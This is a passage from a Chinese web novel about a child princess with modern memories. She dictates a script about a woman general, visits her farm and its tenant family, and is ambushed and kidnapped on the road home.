司徒嫱冷冷一笑:“连本郡主都把她没办法,你又能做什么?” “小的这段时间混在乞丐堆里,也认识一些人,但唐蕊身边有高人保护,想让她消失,还得嫱郡主您配合…” 刘姬左右看了看,犹如惊弓之鸟,可想而知她这段时间过的什么日子:“嫱郡主,这里不是说话的地方,能不能…” “不能!”司徒嫱嫌恶道:“你又脏又臭,别想上本郡主的马车,坐外面。” “是,是,谢谢嫱郡主!”刘姬不敢反驳。 现在顺天府在通缉她,她无奈之下混入乞丐堆,没事还要被那些又脏又臭的乞丐凌辱。 这一切,都是唐蕊害的。 若不是唐蕊,她现在还是璃王的侍妾,穿金戴银,更不用为了食物而发愁。 想起这段时日暗无天日的生活,刘姬就恨不得吃了唐蕊。 不让唐蕊生不如死,就不足以解她心头之恨。 第117章 过目不忘的本事 唐蕊回到王府,立刻召集院儿里所有侍婢,询问谁会写字。 最后她挑了两个会写字的,开始念剧本。 而那两个侍婢负责写。 唐蕊思来想去,还是要写大女主。 只不过可以给这位女主贴上正能量标签,也让这个时代的男人好接受一些。 故事原型主人公,就是她娘唐娆,再加上一些现代短剧的套路。 阿妮家住边城,虽然家中清苦,但父母都在,一家三口也算平淡幸福。 某一天,这种幸福被打破了。 狄国铁骑破城而入,边城全部沦陷。 他们烧杀抢掠无恶不作,男人都被杀了,女人和孩子被他们当成了食物。 这里要多残忍就得多残忍,要多变态就多变态,堆积读者的怨气值。 眼看两个写字的侍婢都开始瑟瑟发抖,都吓哭了,唐蕊才停止拉仇恨,一脸无语:“你们哭啥哦?” 侍婢一嘤嘤:“郡主,这是真的吗?他们真是太残忍了。” 侍婢二也嘤嘤:“郡主,狄国是北狄吗?他们真会这样对待俘虏?” 幻蝶淡淡道:“这自然是真的,北狄蛮子就是一群畜生。你们都知道南蛮吧?当初南蛮被灭,七千多人的城都近乎死绝,幸存者不过百余之数。还是我大夏君主圣明,外加璃王大义,上奏了陛下之后,接手了这百余之数的难民。不然,南蛮城都的百姓早就死光了。” 两个侍婢听得脸色发白:“这…真的啊?” 唐蕊也不知道这一茬:“皇爷爷接手了南蛮幸存百姓?” “回郡主,是!”这也是幻蝶愿意相信皇帝的原因之一:“皇上仁德,不忍南蛮幸存百姓流离失所,特意开恩让他们进入大夏生活。奴婢的姐夫就是当初的幸存者之一,他走科举,想入朝堂,也是为了报答皇上的收留之恩。可没想到…” 说到这,幻蝶有些难过。 容嬷嬷拍了拍她的肩,叹息道:“别想啦,逝者已逝,活着的人要好好活着,逝去的人若在天有灵,才会心安。” 幻蝶点点头:“多谢嬷嬷,我知道的。” 唐蕊:“…”老娘愿意给便宜爹解毒,看来不仅是见色起意。 她应该也很感激便宜爹收留了南蛮幸存的百姓吧? 等等,偏题了。 唐蕊赶紧回神:“好啦,我继续念,你们继续写哈,咱们加加油,争取三天之内把剧本写出来。” 两个侍婢点点头,努力集中精神。 阿妮也不能幸免,不但被凌辱,还亲眼看着爹娘被狄国人砍下了头颅,最后成为狄国军妓。 她很不幸,但也是幸运的。 某一天,她趁着守卫喝醉,逃了出来。 小小女子,逃出生天,本该隐姓埋名,寻一夫君好好生活。 但阿妮自己心里清楚,她已是残花败柳,早就没了嫁人的资格。 更何况,只要一闭上眼睛,阿妮就能看到爹娘被砍下的头颅,街坊邻居那一张张惊恐与哭泣的脸。 每一个夜晚,都好像有无数冤魂在她耳边啼哭,叫嚣着让阿妮替他们报仇。 报仇? 想要报仇,只有一个办法! 于是阿妮卸下红妆,穿上男子长衫,放下女红,拿起长枪。 她要从军,她要杀尽狄国蛮子! 阿妮入了军,发誓只要还有一口气,就要与狄国蛮子不死不休。 她早已把生命置之度外,英勇无双,只要将军一声令下,她就会冲在最前头。 她不想活,可却一次次神奇的活了下来。 最后阿妮以女儿身,成了一代名将。 七年之后,狄国被灭,阿妮入了金銮殿,这才说出自己乃女儿身。 皇帝佩服,以军功抵过欺君之罪。 这就是大概故事了。 当然,一个女子在军营几年,没人发现也不现实,需要一个角色帮忙。 唐蕊设定了一个军医,也是阿妮未来的夫君。 本来都不想要这个夫君的,但她没忘记这是男权社会,在这个时代的熏陶下,男子们都认为女子就该嫁人。 另外,就是一些人物刻画,以及一些励志人心的台词了。 这一忙就,就忙到了深夜。 容嬷嬷和幻蝶全程陪伴。 两个侍婢负责写,她们就负责研磨。 一连三天过去,两个侍婢终于赶完了剧本。 几人也深深的被这个剧本吸引了。 容嬷嬷捂着小心脏,泪眼汪汪:“也不知世上是不是真有这样的奇女子。” “吾一日不死,必尽吾一日杀敌之责。敌一日不去,吾必以忠贞至死而止。”幻蝶喃喃道:“真好啊,我觉得这才是一个女子该有的样子,而不是红袖添香,相夫教子。” 唐蕊眼珠子左右飘忽,有些心虚。 这句话可不是她的原创,而是名将张自忠说过的话。 “咳…好啦好啦,幻蝶,给顾庶母送去叭,我要睡觉了。”辛苦三天,唐蕊可熬不住了,一头栽床上。 幻蝶点点头,拿着新鲜出炉的话本离开。 容嬷嬷替她盖好被子,爱怜的替她撩起额前碎发别在耳后:“郡主睡吧,老奴在这守着您。” 唐蕊迷迷糊糊点点头,很快见周公去了。 她此时还不知道,她的话本一拿出去,顾若雪都惊呆了。 这真是一个五岁娃娃能写出来的东西? 幻蝶见她神色震惊,不动声色暗示:“顾侧妃,郡主树敌本就不少,还是不要太招摇。” 顾若雪压下心里的震惊,故作平静:“我知道,我会给蕊蕊取一个笔名,也不会声张,你去吧!” “奴婢告退!”见她听懂了,幻蝶也不多说了,福了福身子离开。 她前脚刚走,顾若雪立刻把霜蓉叫了进来,并把话本递给她:“拿去给我三叔,让他印三十多册,放在书阁出售。” 霜蓉一脸疑惑:“主子,就三十多册吗?” 顾若淡淡的瞥了她一眼:“孤本才是珍品,物以稀为贵。” 霜蓉懂了:“奴婢这就去。” 顾若雪微不可见的笑了笑,自言自语:“小丫头这不仅仅是聪明了,还过目不忘吧!” 学识是做不得假的,特别是写话本子,更能看出一个人肚子里到底有多少墨水。 很多词汇量以及一些引经据典,可不是一日两日能融会贯通的。 但唐蕊的岁数又做不得假,所以她就只能想到唐蕊有过目不忘的本事了。 第118章 去庄子上 拿到话本子,邓忠孝开始安排戏班子试演了。 后面这些事跟唐蕊没关系,庶母们个个能干,继顾若雪之后,秦芷嫣和另外几个女人的铺子也相继装修完毕。 唐蕊巡查了一遍,觉得不错,接下来就是决定每个店铺要卖的东西了。 火锅店好说,火锅嘛,熬好了锅底,什么都往里面烫就是了。 就是怎么熬,还得研究。 点心铺子倒是不愁,什么双皮奶、蛋挞、曲奇小饼干,唐蕊教会了容嬷嬷,又把容嬷嬷打包送去了张侧妃那里。 成衣铺也不难,唐蕊画了一些衣服图纸。 这个世界的衣服类似唐装,却没唐装那么大气华贵。 唐蕊把唐装元素彻底融入进去,还画了一些精美的发饰图样,送去了李庶妃院里。 剩下的,都是工匠的事儿了。 就是美妆店,有点麻烦。 还好唐蕊一直都有研究各种美白祛斑的护肤品,上次给几位王妃婶婶也送了一些,效果还不错。 只是这要大量生产,需要很多原材料,牛奶更是需求量极大,必不可少。 唐蕊派出幻蝶,联系了经常买牛奶的商贩,特意找他买了十几头奶牛,全送去庄子上养着。 可这新的问题又来了。 庄子是秦芷嫣送的,秦芷嫣又是从秦芷媃手里拿回来的。 秦芷媃还在时,没有管这个庄子,庄子上的奴仆都是七老八十快入土的老年人。 让他们做做清洁可以,养牛干农活,有点太难为他们了。 就在唐蕊考虑着,要不要去买几个人回来的时候,大格二格回来了。 出去这么久,他们晒黑了一些,大格甚至都长出了胡茬子。 看到唐蕊,两人很高兴,二格还很是嘴甜的说:“郡主长高了,越来越漂亮了。” 唐蕊喜欢听这话,眉开眼笑:“你俩也辛苦了,邓忠孝的家人都接来了吗?” “接来了,邓忠孝的父亲,还有大哥一家和二哥一家,他们都决定来京城生活,还让小的给郡主您带了一些土特产,小的都送去膳房了。就是…” 大格说到这里,有些为难。 二格接过话来:“有什么不好说的?郡主,就是邓忠孝那婆娘,耐不住寂寞,去年就扔下孩子跟人跑了。” “啊?”有瓜? 唐蕊赶紧扔了手里的瓜子:“那邓忠孝呢?他知道这事了吗?有没有难过哦?” 大格点点头:“小的回来的时候已经告诉他了,他一开始挺生气的,可后来又想通了,说人往高处走,他两年都没送银子回去,媳妇觉得日子没盼头,跟人跑了也没办法。只希望他那媳妇能过得好吧,别后悔自己的决定。” 二格也道:“是啊,他们家穷得很,我和大哥去的时候,邓忠孝一家还在吃野菜糊糊。郡主,您都没看到,就他们那个家,屋顶都是破的,都不知道下雨的时候,一家人是怎么过的。” “…”虽然没看到,但我看过电视剧啊,脑子里有点画面感。 唐蕊又问:“你们跟他的家人相处了一路,觉得他的家人如何?是会种地的人吗?” 大格中肯道:“一家人都挺老实的,就是除了邓忠孝的爹,其他人都不识字,至于种地应该也没问题,小的听邓叔说,他年轻的时候念过两年书,后来家里养不起了,就没念了,一家人平时就租着当地地主的两亩地生活。邓忠孝的大哥是猎户,偶尔进山猎到好东西,就由邓叔带去码头贩卖。” 二格笑道:“郡主,小的已经把他们送去山庄了,您要不要去看看?” “也行!” 唐蕊刚说完,幻蝶就来报:“郡主,元嬷嬷来了。” 唐蕊闻言一张脸瞬间垮了下来:“啊?又来啦?” 幻蝶笑道:“今儿个国学监沐休,元嬷嬷自然要来。” “郡主这是不想看到老奴么?”元嬷嬷声随人至,依旧是那张不苟言笑皱巴巴的老脸。 唐蕊反射性跳下椅子站好,兰花指一翘。 这动作别人做出来是大家闺秀,她一比划,就像是被陈德福附体了一样:“嬷嬷说笑了,昭华最喜欢的就是你,怎么会不欢迎你呢!幻蝶,还愣着干嘛,快给嬷嬷上茶呀!” 幻蝶轻笑着应是,赶紧给元嬷嬷倒了一杯茶。 元嬷嬷微不可见的翘了翘唇角,接过茶碗:“郡主今天是不是想出去玩?” “也不是玩哦,是做正事,母妃给了我一个庄子,我想种点粮食…”唐蕊说到这,默默凑了过去,小声在元嬷嬷耳边道:“元嬷嬷,我只告诉你一个人哦,那些种子要是能种好,产量至少是大米的三到六倍哦。” “噗…”元嬷嬷刚喝进嘴里的茶水瞬间喷了,瞪大眼睛不可置信的看着唐蕊:“多少?” 被喷了一脸的唐蕊:“…” 默默擦掉脸上的水渍重复了一遍:“三到六倍!” 元嬷嬷闻言神色严肃起来:“郡主,此言当真?” 唐蕊点头:“比珍珠还真哦。” 元嬷嬷当机立断:“郡主,今日咱们不学规矩了,老奴也想随你去庄子上。” “好嘞!” 目的达到,唐蕊草草的收拾了一下自己,让一个丫头去跟秦芷嫣说了一声,就带着元嬷嬷和幻蝶,还有大格和二格出了门。 至于容嬷嬷,在张庶妃那苦逼的教徒弟呢,暂时没有空。 只是,一行人刚出门,还没爬上马车呢,一辆马车就在璃王府门口停了下来。 车帘掀开,司徒安、司徒谨和顾楠聿伸出脑袋来,一看唐蕊这架势还愣了一下。 司徒安道:“昭华,你要出门?” “很明显不是吗?”唐蕊没好气道:“你们怎么来了?” 顾楠聿:“刚好无事,就来看看你。” 司徒安猛点头:“我也是!” 他绝对不承认,是想喝奶茶了。 唐蕊无语,又看向司徒谨。 司徒谨有些拘谨:“你说过,我可以来找你玩的。” 司徒安白了他一眼,开始跟唐蕊告状:“我出宫的时候遇到他了,一说来找你玩,他就非要跟来,我不带他,他抱着我腿不让我走。” 被揭了老底的司徒谨:“…” 第119章 邓家人 唐蕊:“…司徒谨,你来我这,你父王知道吗?” 司徒谨默默垂下脑袋! 唐蕊眉头微蹙:“这怎么行?你们还是赶紧回去吧!” 司徒安才不要呢:“来都来了,你去哪里,我们一起啊!” “可是司徒瑾…” “没事没事!” 司徒安打断她的话道:“我出宫的时候已经让人去告诉太子皇兄了。” “这…” 唐蕊迟疑了。 元嬷嬷这时却站了出来,一张褶子脸黑得彻底:“不行,十一皇子,谨主儿,你们赶紧回去。” “你让爷回去爷就回去?你算老几?爷好不容易出宫一趟,才不要回去呢!”司徒安天不怕地不怕,哪里会听一个奴才的话。 就算元嬷嬷的地位不一样,在他看来也不过是高级一点的奴才而已。 凭什么管他? 元嬷嬷皱眉道:“十一皇子,郡主今天要去庄子上,不方便带着你们。” 司徒安哼笑:“庄子上好啊,可以骑马,自己烤东西吃,这么有意思,爷必须要去。” 元嬷嬷:“…” “算了,他们想去就去吧!”唐蕊凑到元嬷嬷耳边小声道:“明月跟着我呢,不会有事的。” “好吧…”元嬷嬷阻止不了司徒安,人家毕竟是皇子,而她只是一个奴才。 只是,上了马车后,元嬷嬷严肃着脸告诉唐蕊:“郡主,您说的粮食,不要声张。” 唐蕊点头:“这个我知道哦,等种出来了,我才会献给皇爷爷。” “郡主聪慧!”元嬷嬷满意点头。 人多口杂,粮食的事事关重大,没出结果之前,多一事不如少一事。 一行人出发! 三个少年一个马车,唐蕊、元嬷嬷和幻蝶一辆马车。 司徒安知道要去庄子上,非常兴奋,一直都在叽叽喳喳。 司徒谨也没去过庄子上,全程两眼放光。 顾楠聿倒是一如既往的安静,拿了本书翻看。 司徒安见不得他这个死样子,抢过他的书:“喂,一会儿到了庄子上,你就跟昭华玩去,我和司徒瑾不会打扰你们的。” “有病就去治,别来烦我。”顾楠聿抢回书,翻到自己看的那一页,嘴里还道:“早知道你是来找昭华,我都不会来。” 司徒安不干了:“喂,你什么意思啊?你和昭华都被父皇赐婚了,是未婚夫妻,我帮你,你还怪我?” 顾楠聿闭目养神,不想搭理他。 可司徒安却盘腿坐在他面前,神色突然正经起来:“顾楠聿,你要是不喜欢昭华,可不能耽误她,不然咱俩兄弟都没得做!” “对!”这话司徒瑾也支持:“顾楠聿,你别不知好歹。” 顾楠聿睁开眼眸,深吸一口气,好心提醒:“我才多大,昭华多大,你们觉得我和昭华现在这年纪,明白什么是喜欢吗?” 司徒安不满道:“什么五岁,还有一个多月昭华就六岁了,不是四五岁的小孩子了。” 司徒谨猛点头:“我长姐一直都喜欢你,她都知道何为喜欢,昭华那么聪明,怎么可能不知道?” 顾楠聿:“…”跟俩傻逼真没什么好聊的! 脑回路都不在一个频道上的感觉! 要不是这俩是皇子凤孙,他真想把这两货踹下车。 … 终于,庄子到了。 司徒安和司徒瑾就像是脱缰的野马,没一会儿就跑得没影了。 顾楠聿没办法,只能跟在唐蕊身边。 毕竟这是唐蕊的地盘,他这个外人到处跑,也太失礼了些。 元嬷嬷扫了他一眼,最后什么都没说,等于默认。 邓忠孝此时也在庄子上,听到唐蕊来了,立刻带着一家人参拜。 唐蕊免了他们的礼,把视线放在这一大家子身上。 邓忠孝排行老三,上面还有两个哥哥,唐蕊姑且称之为邓老大和邓老二了。 邓老大有媳妇和两个女儿,邓老二是新婚,只带着媳妇,以及一个三岁的男娃娃。 这个男娃娃就是邓忠孝的儿子了。 唐蕊又看了看邓老大家的两个女儿。 大女儿目测八九岁,面黄肌瘦。 小女儿跟她差不多大,但是长得瘦瘦小小的,脑袋看起来就特别大,一看就是营养不良的样子。 两个女娃娃怯生生的看着唐蕊,一副想上前又不敢的样子。 邓忠孝的爹叫邓青山,一个瘦小且精神的小老头。 这不,刚站好,邓青山就凑了过来,还带着现代川渝地区的口音:“这斗是咱家的大恩人昭华郡主了哈?哎哟,郡主大人也,老头在这谢谢你咯,下辈子当牛做马都一定要报恩啊,要不是你,斗算我死了,都不能跟我家三崽子团聚啊!” 唐蕊读大学时,有一个室友就是川渝妹子,顿时倍感亲切:“邓老言重了,邓忠孝人不错,又常常跟我说起你,正好庄子上缺人手,就接了你们过来。” 邓青山一听胸口拍得乓乓响:“郡主你放心,别的老头子我不敢装大,但是种地的话,老头子我绝对没得问题。” 唐蕊笑道:“也不光是种地,前两天我还买了十几头奶牛,也需要照顾。当然,你们要是有需要,也可以在这庄子里养养猪啊,鸡和鸭啊!” “郡主放心,我家以前喂过牛…”邓老二家的邓大妞刚一开口,就被自家老爹打断了:“啥子我,面对郡主要称自己为奴婢。” “哦…”邓大妞缩了缩脖子,声音顿时小了几个分贝:“奴婢家以前,喂过牛。” 唐蕊顿时哭笑不得。 元嬷嬷冷声道:“你们没有卖身,不需要自称奴婢,称小的就好。” 潜台词,以为谁都能做唐蕊的奴婢吗? 可偏偏这家人没听出元嬷嬷的冷嘲热讽,一听元嬷嬷这么说,顿时把她划入好人系列,无比感谢。 元嬷嬷:“…” 都给整不会了。 邓忠孝赶紧打圆场:“郡主,小的经常来庄子上,带您参观一下吧!” 唐蕊点点头:“也好!我先前有让人置办一些日用,若你觉得不够,看看再添置些什么!” “多谢郡主,已经够了,小的感激不尽!”邓忠孝让唐蕊走在最前面,这才跟上去。 第120章 个人有个人的命 邓大妞与邓二妞走在最后,羡慕的看着最前面的唐蕊。 邓二妞小声道:“阿姐,她穿得好好,长得也好乖啊,你看她头上戴的珠花,那金边真是金子做的啊?” 邓大妞没好气道:“她是郡主,还会戴假的啊?” 邓二妞眼神火热:“我也好想要。” 邓大妞闻言眉头微蹙:“邓二妞,你莫一天想精想怪的,你是啥子身份,别个是啥子身份,你也不看看国人配不配!” 邓二妞小声嘀咕:“我囊个不配了哦,我也是娘生父母养的啊,要不是爹娘这么穷,我也可以穿好看的衣服,戴纯金的珠花!” 邓大妞眉心一跳,赶紧停下脚步,握着妹妹的肩膀正色道:“邓二妞,你听我说,我们都是穷人家的娃娃,她是郡主,生来斗跟我们不一样,你可以羡慕,千万不能嫉妒,以后更不能说这种话,晓得不?” “哦…”邓二妞委屈巴巴的点点头,又问:“阿姐,郡主是啥子哦?” 邓大妞组织了一下语言才道:“你晓得皇帝不?” 邓二妞似懂非懂的点了点头:“晓得,爹说过,皇帝斗是世上最厉害,官最大的人,我们脚踩的地,头顶的天,都是皇帝的,皇帝比我们县老爷都要厉害得多。” “这就对了!”邓大妞又道:“郡主,斗是皇帝的亲孙女,斗算是县老爷,看到郡主也要下跪的。” 邓二妞一脸惊叹:“哇!郡主官楞个大啊?但她看起来跟我差不多大也。” 邓大妞:“那是她还没长大,等她长大了,也会变成很厉害的人,晓得了不?” “晓得了!”邓二妞又看了看前面的唐蕊,越发羡慕,只是眼底的嫉妒却渐渐消散了:“阿姐,我也好想当皇帝的亲孙女哦。不光有好看的衣服穿,有好看的珠花戴,还有她身边的小哥哥,你看看,是不是嘿好看?他是郡主的啥子人哦?” 邓大妞爱怜的摸了摸妹妹的头。 她也想,可是个人有个人的命,这种事没得选。 如果可以选,她不仅仅希望自己生在皇家,还希望自己是男儿身,能建功立业呢! “阿妹,他是哪个不重要,你只需要晓得,他们都是我们惹不起的人斗行了。以后看到郡主要行礼,要自称小的,如果是郡主身边不认识的人,要称呼他为大人,或者公子、小姐,千万千万不能乱说话。我们一家能来京城,能住这么大的庄子,都是因为郡主开恩,晓得了不?” “阿姐,我晓得了!” 邓二妞似懂非懂的点了点头,心里对唐蕊也多了几分敬畏。 邓大妞苦涩一笑,牵着妹妹的小手继续往前走。 都是一样的年纪,可从出生开始,她们之间就注定是不同的。 … 唐蕊参观了一下庄子,邓青山一开始还老实,可见唐蕊一说到种地的问题,自家小儿子就结结巴巴,于是最后干脆挤开儿子,亲自上阵讲解。 人家让他们来就是为了种地,不能让人家觉得他们不专业,把他们撵回去。 唐蕊因为祖父的关系,也略懂一些,所以能判断邓青山是真的很专业,这颗心也渐渐放了下来。 要离开的时候,唐蕊把保存好久的种子都给了邓青山,并说起月给问题。 唐蕊在这方面一直大方,参与的每个人,每月一两。 一家人眉开眼笑,千恩万谢,诅咒发誓一定会好好耕种。 邓老大家的媳妇眼看气氛这么好,赶紧把自己两个女儿招了过来。 只是,还不等她开口,邓老大就把娘三挤开了,并恶狠狠的瞪了自家媳妇一眼。 唐蕊看到了也当没看到,上了马车,让大格和二格去找司徒安和司徒谨去了。 没一会儿,元嬷嬷也上了马车,立刻板着脸教训:“郡主,一群草民而已,不用把他们太当回事,更不用对他们那么客气。” 唐蕊无奈道:“嬷嬷,升米恩斗米仇的典故我知道哦,而且我对他们也不算客气啦。” “也是!”元嬷嬷冷声道:“这家人还算老实,只是那两个丫头眼神太过放肆,特别是小的,还敢直视郡主,也就郡主脾气好,换做别的主子,早就治她的罪了。” “…”才五岁,不懂事,治罪就没必要了。 唐蕊知道元嬷嬷这人重规矩,也知道对于奴才不能太好的道理:“嬷嬷,你放心吧,我不会让自己吃亏的。再说啦,一个小丫头,从小到大没有嬷嬷你这么专业的礼仪嬷嬷教导她,她不懂规矩也正常呀!本郡主宰相肚里能撑船,还不至于跟她较真,是吧?” 专业? 第一次听到这个词呢! 虽然听不懂,但是每个字拆开,就能理解了。 “就郡主嘴甜,老奴哪算什么专业呀!”元嬷嬷唇角微翘,可是很快反应过来,被唐蕊带偏了,于是又板着脸道:“还有顾公子,他也算守礼,郡主要记得,就算顾公子是您的未婚夫,您也千万不能跟顾公子私下相处,会被人说闲话的。” “好,我记住了。”这小老太太得顺毛薅,不然又会在她耳边念经。 终于,司徒安和司徒谨被找回来了。 就一会儿没见,两人都成了皮猴,浑身脏兮兮的。 司徒安手里还拎着一只大白兔子,跟唐蕊炫耀。 唐蕊盯着兔子口水直流:“红烧兔子特别好次,要不去璃王府坐坐?我让我家厨子做给你吃?” 司徒安一脸惊恐,把兔子抱在怀里:“兔子这么可爱,干嘛要吃兔子?” 唐蕊理所当然道:“就是因为它可爱,我才想把它吃进肚子里,跟我永不分离啊!” 司徒安:“…” 司徒谨眨了眨眼,很是好奇:“可是,拉出来不就离了吗?” 得! 这次无语的轮到唐蕊了! “不吃就不吃,我自己买去。”骗吃失败,唐蕊冷哼一声放下车帘子。 两辆马车启动。 邓家人一直目送马车远去。 直到马车没影了,邓老大媳妇才不满道:“刚刚你拦我做啥子?郡主人好,肯定会帮忙。咱们女儿要是进了女学,以后还愁嫁不出去?” 第121章 刺杀 邓老大瞪了她一眼:“把你那些小心思给老子收起来,郡主不是庙里的菩萨,她心善也不是你得寸进尺的理由。” 邓老大媳妇缩了缩脖子,还是不肯罢休:“那咱们女儿咋办?我带着她们俩跟着你们一家来京城,就是想让她们进女学啊!” 邓老大冷笑道:“想精想怪,我们啥子条件,也有资格去那地方?” “咋就没资格了?”大媳妇不服:“只要郡主一句话,女学还不收么?” “你听不懂人话是不?老子给你说,爱待就待,不待就滚,少给老子惹事!” … 小两口说着说着吵起来了。 邓家其他人也注意到了这边,听完他们的吵架内容后,邓青山脸都黑了:“老大家的,你安分点,女学的事就莫想了。” “为啥子啊?”大媳妇很不甘心:“爹,我这也是为了大妞和二妞好啊,再说了,以后她们要是嫁得好,你不也跟着沾光嘛?” 邓忠孝苦笑一声,接过话来:“大嫂啊,女学虽然要求低,但也不是谁都能进的,里面的女子大多都出身寒门,或是商贾之家砸了很多银子,才进得去的。你看咱们家,占了哪一样啊?” 老大家的媳妇咬牙道:“所以我这不是想着,让郡主帮帮忙嘛?只要她一句话,我斗不信我家两个妮子进不了女学。” 邓忠孝无奈道:“做人要知足,你要是惹了郡主厌弃,别说进女学了,还会连累我们一大家子。” 老大媳妇闻言一愣:“咋会?我看郡主人多好的。” “哪个皇家的金枝玉叶脾气好啊?那是你没见过她生气的样子。” 邓忠孝就永远记得,当初唐蕊怒怼司徒嫱时的威仪。 气势十足,不怒自威。 要不是他这几年真没贪墨,估计会被唐蕊当街打死吧! “总之,女学的事别想了,你要是不听,大哥,就把大嫂送回去吧!” 邓忠孝在京城待了这么久,还在唐蕊手底下做事,他肯定比家里人更了解唐蕊的脾气。 听他这么说,一家人顿时紧张起来,一个个开始劝说老大媳妇。 老大媳妇脸上委屈,心里骂骂咧咧。 邓大妞和邓二妞杵在一边,两脸无措! 他们没发现,一阵清风伴随着黑影,如鬼魅般消失。 半个时辰后,明月追上了唐蕊的马车,如实一一汇报。 唐蕊摸着下巴嘀咕:“这样啊,我就说那邓老大家的媳妇刚刚怪怪的。” “真是得寸进尺!”元嬷嬷恨铁不成钢的看着唐蕊:“郡主,您看看,这就是您太好心的缘故,把这些草民心都养大了。” “人跟人不一样,就邓老大的媳妇心大,其他人还算靠谱嘛!”一堆黄瓜里,也总会混杂着几根烂的不是:“嬷嬷,你放心,就算那邓老大的媳妇开了口,我也不会答应她的。” 实在不行就换一批人,又不是只有邓家人会种地。 唐蕊也不太喜欢得寸进尺,没有分寸感的人。 元嬷嬷气顺了一些:“郡主这么想就好,欲壑难填,人的贪念是无休止的,一旦开了这个先例,后面他们只会要求更多。” “这个我知道!”她又不是真的小孩子,这样的道理还是懂的。 至于邓家人,且看着吧! 希望他们是一群懂事的。 明月禀告完后身影一闪隐入暗处,马车继续前行。 没多久,马车行驶到了一座石桥处。 突然,一支利箭爆射而来,狠狠扎进车厢里。 大格和二格面色骤变。 “有刺客!”二格刚喊完则句话,左肩就中了一箭。 大格赶紧护在马车前,警惕地环顾四周。 明月也闪身而出,来到马车前,并掏出了腰间长剑。 更多的利箭从四面八方射来,大格带着二格不停躲避。 明月的长剑都舞成了花,却还是止不住一支支箭穿透马车。 元嬷嬷在车厢内,被这突如其来的变故吓得花容失色,却还不忘护着唐蕊:“郡主别怕,老奴在呢!” 唐蕊点点头,面色冷凝,不动声色摸了摸手腕上的赤赤。 司徒安那辆马车只有司徒安和司徒谨的小厮,两人被吓得不行,却还是护在马车周围朝里面喊着:“殿下,你们可别下车啊!” 此时,马车周围涌出一群黑衣人,他们手持利刃,眼神凶狠,手法专业。 大格和二格只会点拳脚功夫,二格又受了伤,面对这么多专业的刺客,根本走不过几招就被揍趴下了,只有明月还在支撑,却也双拳难敌四手。 司徒安和司徒谨的马车只有一个刺客攻击,两个小厮还能应付。 顾楠聿看到有刺客已经钻进了唐蕊的马车,顿时急了,直接从马车里跳了出来,顺手捡起地上的石头冲了过去。 他赶到时,明月已经抓住那刺客扔下了马车,可很快又有更多刺客冲上来牵制住他了。 明月无奈,只能对顾楠聿道:“驾车走!” 根本不用他说,顾楠聿翻身爬上马车,一鞭子甩在马背上。 马儿嘶鸣一声,冲了出去。 后面司徒安和司徒谨的小厮一看,也赶紧爬上马车,紧随其后。 唐蕊掀开车帘看了一下,明月一人牵制住了十几个黑衣人,二格受了伤,大格正在保护他。 可刺客太多了。 唐蕊赶紧扯下手腕上的赤赤:“你去帮明月!” 赤赤甩了甩脑袋,表示不想去! 唐蕊小脸一肃:“让你去就去,我揍你了哦。” “…”只知道欺负蛇! 赤赤郁闷的离开她手腕,顺着马车窗沿爬了出去。 很快,马车跑出去了一段距离,那些刺客并没有追上来。 “昭华,没事了,还有一会儿就能看到城门了。”顾楠聿大声道。 只要入了城,就安全了。 然而,他话音刚落,就看到一颗巨大的树横在道路中间,马车根本无法通过。 顾楠聿心下一个咯噔,赶紧拉住了缰绳,二话不说冲进车厢抱起唐蕊。 元嬷嬷吓了一跳:“顾公子,你这是作甚?” “路被拦住了,我怀疑还有刺客。” 顾楠聿扔下这话,不由分说抱着唐蕊跳下了马车。 他刚刚站好,还没开始逃,四面八方又出现了很多蒙着脸的大汉。 第122章 昭华被贼人掳走了 为首的大汉看了看手里的画像,指着唐蕊:“就是她,把她给老子逮住。” 顾楠聿暗骂一声,抱着唐蕊朝城门的方向冲。 可这些大汉早有预料,不由分说拦住他的去路。 “你们,你们做什么?”元嬷嬷也下了马车,第一时间把顾楠聿与唐蕊护在身后,声色内敛道:“光天化日,竟敢拦路行凶,你们知道他们是谁吗?” “老子当然知道,昭华郡主嘛,老子找的就是昭华郡主!”大汉冷声一笑,大手一挥:“兄弟们,上,干完这一票咱们就发了。” 几个大汉闻言纷纷冲了过来,而司徒安和司徒谨的马车,直接被他们忽略了。 顾楠聿见此立刻抱着唐蕊往回跑。 元嬷嬷有心想拦,却被一个大汉推倒在地:“老东西,别多管闲事。” 司徒安和司徒谨跳下马车,想跟这些贼人拼了,却被他们的小厮死死抱住:“主子,别冲动的,不是冲着你们的来的啊!” “走开,昭华,昭华!”司徒安眼睁睁的看着大汉们追着顾楠聿和唐蕊消失在眼前,气得不行,一怒之下还咬住了小厮的手。 即便如此,小厮也不敢松手:“主子,您就算咬断奴才的手,奴才也不会松开的,当务之急,咱们得赶紧入城,找皇上,找璃王求助才是啊!” 一语点醒梦中人,司徒安闻言冷静下来,赶紧解开拉着车厢的马,翻身而上,飞快的往城里赶去。 “殿下,殿下,等等奴才呀!”小厮急了,也解下唐蕊那辆马车的马,骑着追了上去。 司徒谨冷静下来,上前扶起元嬷嬷:“嬷嬷,别担心,十一皇叔已经去找人了。” “作孽啊,到底是谁,如此大胆,要是郡主出了什么事,老奴万死都难以谢罪啊!”元嬷嬷这辈子很少有情绪外露的时候,这还是她第一次如此生气。 唐蕊是在她身边被贼人掳走的,她要如何跟皇帝交代? 此时元嬷嬷也很后悔,早知道,就不该让唐蕊去庄子上,也不会发生这样的事了。 司徒谨劝道:“嬷嬷,前有刺客,现在又有这些大汉,他们还知道昭华的身份,明显就是有预谋的,就算您不带昭华出来,昭华也不能一辈子龟缩在璃王府,他们总会找到机会的,你别自责了。” “走,走,咱们也赶紧回城,快啊!”元嬷嬷哪里不知道这些,她就是担心啊! 那么多大汉,唐蕊和顾楠聿还那么小,怎么会是他们的对手? … 她猜得没错,顾楠聿不过十一岁的少年,又不懂武功,哪怕拼尽全力往回跑,想找明月求救,也根本跑不过这些大汉。 没一会儿,几个大汉就追上了他,把他摁到在地。 唐蕊也如小鸡仔一样被为首的大汉拎了起来。 唐蕊一开始还不慌的,就算没有赤赤,她还带着几包毒药呢,总能找到机会。 可这大汉好像很了解她似的,拎起她之后,第一时间就拿走了她的斜挎包。 唐蕊这下急了,蹬着小腿就去抢:“还给我,还给我!” “你再吵,老子就把这包里的好东西,全都给你灌下去!”为首的大汉如此威胁。 唐蕊却根本就不怕,眼睛一瞪吼了回去:“说话就说话,你打什么标点符号啊?真想杀我,早就一刀宰了我了,还会跟我废话吗?你当我跟你一样傻?” 为首大汉噎了一下,很快又狞笑道:“对,老子不想杀你,但是要卖了你,你呀,就等着享福吧!” 